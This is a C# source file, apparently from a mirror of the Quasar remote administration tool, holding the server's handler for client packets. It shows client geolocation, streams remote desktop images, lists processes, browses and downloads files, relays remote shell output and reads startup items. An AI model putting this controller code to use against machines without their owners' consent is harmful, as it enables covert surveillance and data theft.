mirror of https://github.com/quasar/Quasar.git
474 lines
12 KiB
C#
474 lines
12 KiB
C#
using System;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using xServer.Core.Extensions;
|
|
using xServer.Core.Helper;
|
|
using xServer.Core.Packets.ClientPackets;
|
|
using xServer.Forms;
|
|
using xServer.Settings;
|
|
|
|
namespace xServer.Core.Commands
|
|
{
|
|
public static class CommandHandler
|
|
{
|
|
private const string DELIMITER = "$E$";
|
|
|
|
public static void HandleInitialize(Client client, Initialize packet)
|
|
{
|
|
if (client.EndPoint.Address.ToString() == "255.255.255.255")
|
|
return;
|
|
|
|
FrmMain.Instance.Invoke((MethodInvoker)delegate
|
|
{
|
|
try
|
|
{
|
|
client.Value.Version = packet.Version;
|
|
client.Value.OperatingSystem = packet.OperatingSystem;
|
|
client.Value.AccountType = packet.AccountType;
|
|
client.Value.Country = packet.Country;
|
|
client.Value.CountryCode = packet.CountryCode;
|
|
client.Value.Region = packet.Region;
|
|
client.Value.City = packet.City;
|
|
client.Value.Id = packet.Id;
|
|
|
|
if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id))
|
|
FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now);
|
|
|
|
FrmMain.Instance.ListenServer.ConnectedClients++;
|
|
FrmMain.Instance.UpdateWindowTitle(FrmMain.Instance.ListenServer.ConnectedClients, FrmMain.Instance.lstClients.SelectedItems.Count);
|
|
|
|
string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode);
|
|
|
|
// this " " leaves some space between the flag-icon and the IP
|
|
ListViewItem lvi = new ListViewItem(new string[]
|
|
{
|
|
" " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), client.Value.Version,
|
|
"Connected",
|
|
"Active", country, client.Value.OperatingSystem, client.Value.AccountType
|
|
}) { Tag = client, ImageIndex = packet.ImageIndex };
|
|
|
|
|
|
FrmMain.Instance.lstClients.Items.Add(lvi);
|
|
|
|
if (XMLSettings.ShowPopup)
|
|
ShowPopup(client);
|
|
|
|
client.Value.IsAuthenticated = true;
|
|
}
|
|
catch
|
|
{ }
|
|
});
|
|
}
|
|
|
|
private static void ShowPopup(Client c)
|
|
{
|
|
FrmMain.Instance.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info);
|
|
}
|
|
|
|
public static void HandleStatus(Client client, Status packet)
|
|
{
|
|
new Thread(() =>
|
|
{
|
|
FrmMain.Instance.Invoke((MethodInvoker) delegate
|
|
{
|
|
foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items)
|
|
{
|
|
Client c = (Client) lvi.Tag;
|
|
if (client == c)
|
|
{
|
|
lvi.SubItems[3].Text = packet.Message;
|
|
break;
|
|
}
|
|
}
|
|
});
|
|
|
|
}).Start();
|
|
}
|
|
|
|
public static void HandleUserStatus(Client client, UserStatus packet)
|
|
{
|
|
new Thread(() =>
|
|
{
|
|
FrmMain.Instance.Invoke((MethodInvoker)delegate
|
|
{
|
|
foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items)
|
|
{
|
|
Client c = (Client)lvi.Tag;
|
|
if (client == c)
|
|
{
|
|
lvi.SubItems[4].Text = packet.Message;
|
|
break;
|
|
}
|
|
}
|
|
});
|
|
}).Start();
|
|
}
|
|
|
|
public static void HandleRemoteDesktopResponse(Client client, DesktopResponse packet)
|
|
{
|
|
if (client.Value.FrmRdp == null)
|
|
return;
|
|
|
|
// we can not dispose all bitmaps here, cause they are later used again in `client.Value.LastDesktop`
|
|
if (client.Value.LastDesktop == null)
|
|
{
|
|
client.Value.StreamCodec = new UnsafeStreamCodec();
|
|
if (client.Value.LastQuality < 0)
|
|
client.Value.LastQuality = packet.Quality;
|
|
|
|
using (MemoryStream ms = new MemoryStream(packet.Image))
|
|
{
|
|
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
|
|
|
|
client.Value.LastDesktop = newScreen;
|
|
|
|
try
|
|
{
|
|
client.Value.FrmRdp.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmRdp.picDesktop.Image = (Bitmap)newScreen.Clone();
|
|
});
|
|
}
|
|
catch
|
|
{ }
|
|
newScreen = null;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
using (MemoryStream ms = new MemoryStream(packet.Image))
|
|
{
|
|
lock (client.Value.StreamCodec)
|
|
{
|
|
if (client.Value.LastQuality != packet.Quality)
|
|
{
|
|
client.Value.StreamCodec = new UnsafeStreamCodec();
|
|
client.Value.LastQuality = packet.Quality;
|
|
}
|
|
|
|
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
|
|
|
|
client.Value.LastDesktop = newScreen;
|
|
|
|
try
|
|
{
|
|
client.Value.FrmRdp.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmRdp.picDesktop.Image = (Bitmap)newScreen.Clone();
|
|
});
|
|
}
|
|
catch
|
|
{ }
|
|
|
|
newScreen = null;
|
|
}
|
|
}
|
|
}
|
|
|
|
packet.Image = null;
|
|
client.Value.LastDesktopSeen = true;
|
|
}
|
|
|
|
public static void HandleGetProcessesResponse(Client client, GetProcessesResponse packet)
|
|
{
|
|
if (client.Value.FrmTm == null)
|
|
return;
|
|
|
|
client.Value.FrmTm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmTm.lstTasks.Items.Clear();
|
|
});
|
|
|
|
new Thread(() =>
|
|
{
|
|
for (int i = 0; i < packet.Processes.Length; i++)
|
|
{
|
|
if (packet.IDs[i] != 0 && packet.Processes[i] != "System.exe")
|
|
{
|
|
ListViewItem lvi = new ListViewItem(new string[] { packet.Processes[i], packet.IDs[i].ToString(), packet.Titles[i] });
|
|
try
|
|
{
|
|
client.Value.FrmTm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmTm.lstTasks.Items.Add(lvi);
|
|
});
|
|
}
|
|
catch
|
|
{ break; }
|
|
}
|
|
}
|
|
}).Start();
|
|
}
|
|
|
|
public static void HandleDrivesResponse(Client client, DrivesResponse packet)
|
|
{
|
|
if (client.Value.FrmFm == null)
|
|
return;
|
|
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.cmbDrives.Items.Clear();
|
|
client.Value.FrmFm.cmbDrives.Items.AddRange(packet.Drives);
|
|
client.Value.FrmFm.cmbDrives.SelectedIndex = 0;
|
|
});
|
|
}
|
|
|
|
public static void HandleDirectoryResponse(Client client, DirectoryResponse packet)
|
|
{
|
|
if (client.Value.FrmFm == null)
|
|
return;
|
|
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstDirectory.Items.Clear();
|
|
});
|
|
|
|
new Thread(() =>
|
|
{
|
|
ListViewItem lviBack = new ListViewItem(new string[] {"..", "", "Directory"})
|
|
{
|
|
Tag = "dir",
|
|
ImageIndex = 0
|
|
};
|
|
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstDirectory.Items.Add(lviBack);
|
|
});
|
|
|
|
if (packet.Folders.Length != 0)
|
|
{
|
|
for (int i = 0; i < packet.Folders.Length; i++)
|
|
{
|
|
if (packet.Folders[i] != DELIMITER)
|
|
{
|
|
ListViewItem lvi = new ListViewItem(new string[] {packet.Folders[i], "", "Directory"})
|
|
{
|
|
Tag = "dir",
|
|
ImageIndex = 1
|
|
};
|
|
|
|
try
|
|
{
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstDirectory.Items.Add(lvi);
|
|
});
|
|
}
|
|
catch
|
|
{ break; }
|
|
}
|
|
}
|
|
}
|
|
|
|
if (packet.Files.Length != 0)
|
|
{
|
|
for (int i = 0; i < packet.Files.Length; i++)
|
|
{
|
|
if (packet.Files[i] != DELIMITER)
|
|
{
|
|
ListViewItem lvi = new ListViewItem(new string[] {packet.Files[i], Helper.Helper.GetFileSize(packet.FilesSize[i]), "File"})
|
|
{
|
|
Tag = "file",
|
|
ImageIndex = Helper.Helper.GetFileIcon(Path.GetExtension(packet.Files[i]))
|
|
};
|
|
|
|
try
|
|
{
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstDirectory.Items.Add(lvi);
|
|
});
|
|
}
|
|
catch
|
|
{ break; }
|
|
}
|
|
}
|
|
}
|
|
|
|
client.Value.LastDirectorySeen = true;
|
|
}).Start();
|
|
}
|
|
|
|
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet)
|
|
{
|
|
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString());
|
|
if (!Directory.Exists(downloadPath))
|
|
Directory.CreateDirectory(downloadPath);
|
|
|
|
downloadPath = Path.Combine(downloadPath, packet.Filename);
|
|
|
|
bool Continue = true;
|
|
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
|
|
if (MessageBox.Show(string.Format("The file '{0}' already exists!\nOverwrite it?", packet.Filename), "Overwrite Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) != DialogResult.Yes)
|
|
Continue = false;
|
|
|
|
if (client.Value.FrmFm == null)
|
|
{
|
|
new Packets.ServerPackets.DownloadFileCanceled(packet.ID).Execute(client);
|
|
MessageBox.Show("Please keep the File Manager open.\n\nWarning: Download aborted", "Download aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
return;
|
|
}
|
|
|
|
int index = 0;
|
|
try
|
|
{
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
foreach (ListViewItem lvi in client.Value.FrmFm.lstTransfers.Items)
|
|
{
|
|
if (packet.ID.ToString() == lvi.SubItems[0].Text)
|
|
{
|
|
index = lvi.Index;
|
|
break;
|
|
}
|
|
}
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
return;
|
|
}
|
|
|
|
if (Continue)
|
|
{
|
|
if (!string.IsNullOrEmpty(packet.CustomMessage))
|
|
{
|
|
client.Value.FrmFm.Invoke((MethodInvoker) delegate
|
|
{
|
|
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = packet.CustomMessage;
|
|
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0;
|
|
});
|
|
return;
|
|
}
|
|
|
|
FileSplit destFile = new FileSplit(downloadPath);
|
|
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
|
|
{
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = destFile.LastError;
|
|
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0;
|
|
});
|
|
return;
|
|
}
|
|
|
|
decimal progress = Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
|
|
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = string.Format("Downloading...({0}%)", progress);
|
|
});
|
|
|
|
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
|
|
{
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Completed";
|
|
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 1;
|
|
});
|
|
}
|
|
}
|
|
else
|
|
{
|
|
client.Value.FrmFm.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Canceled";
|
|
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0;
|
|
});
|
|
}
|
|
}
|
|
|
|
public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoResponse packet)
|
|
{
|
|
if (client.Value.FrmSi == null)
|
|
return;
|
|
|
|
ListViewItem[] lviCollection = new ListViewItem[packet.SystemInfos.Length / 2];
|
|
int j = 0;
|
|
for (int i = 0; i < packet.SystemInfos.Length; i+= 2)
|
|
{
|
|
if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null)
|
|
{
|
|
lviCollection[j] = new ListViewItem(new string[] { packet.SystemInfos[i], packet.SystemInfos[i + 1] });
|
|
j++;
|
|
}
|
|
}
|
|
|
|
try
|
|
{
|
|
client.Value.FrmSi.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmSi.lstSystem.Items.RemoveAt(2); // Loading... Information
|
|
foreach(var lviItem in lviCollection)
|
|
{
|
|
if (lviItem != null)
|
|
client.Value.FrmSi.lstSystem.Items.Add(lviItem);
|
|
}
|
|
|
|
ListViewExtensions.AutosizeColumns(client.Value.FrmSi.lstSystem);
|
|
});
|
|
}
|
|
catch
|
|
{ }
|
|
}
|
|
|
|
public static void HandleMonitorsResponse(Client client, MonitorsResponse packet)
|
|
{
|
|
if (client.Value.FrmRdp == null)
|
|
return;
|
|
|
|
try
|
|
{
|
|
client.Value.FrmRdp.Invoke((MethodInvoker)delegate
|
|
{
|
|
for (int i = 0; i < packet.Number; i++)
|
|
client.Value.FrmRdp.cbMonitors.Items.Add(string.Format("Monitor {0}", i + 1));
|
|
client.Value.FrmRdp.cbMonitors.SelectedIndex = 0;
|
|
});
|
|
}
|
|
catch
|
|
{ }
|
|
}
|
|
|
|
public static void HandleShellCommandResponse(Client client, ShellCommandResponse packet)
|
|
{
|
|
if (client.Value.FrmRs == null)
|
|
return;
|
|
|
|
try
|
|
{
|
|
client.Value.FrmRs.Invoke((MethodInvoker)delegate
|
|
{
|
|
client.Value.FrmRs.txtConsoleOutput.Text += packet.Output;
|
|
});
|
|
}
|
|
catch
|
|
{ }
|
|
}
|
|
|
|
public static void HandleGetStartupItemsResponse(Client client, GetStartupItemsResponse packet)
|
|
{
|
|
if (client.Value.FrmStm == null)
|
|
return;
|
|
|
|
try
|
|
{
|
|
client.Value.FrmStm.Invoke((MethodInvoker)delegate
|
|
{
|
|
foreach (var pair in packet.StartupItems)
|
|
{
|
|
var temp = pair.Key.Split(new string[] { "||" }, StringSplitOptions.None);
|
|
var l = new ListViewItem(temp) {Group = client.Value.FrmStm.lstStartupItems.Groups[pair.Value], Tag = pair.Value};
|
|
client.Value.FrmStm.lstStartupItems.Items.Add(l);
|
|
}
|
|
});
|
|
}
|
|
catch
|
|
{ }
|
|
}
|
|
}
|
|
}
|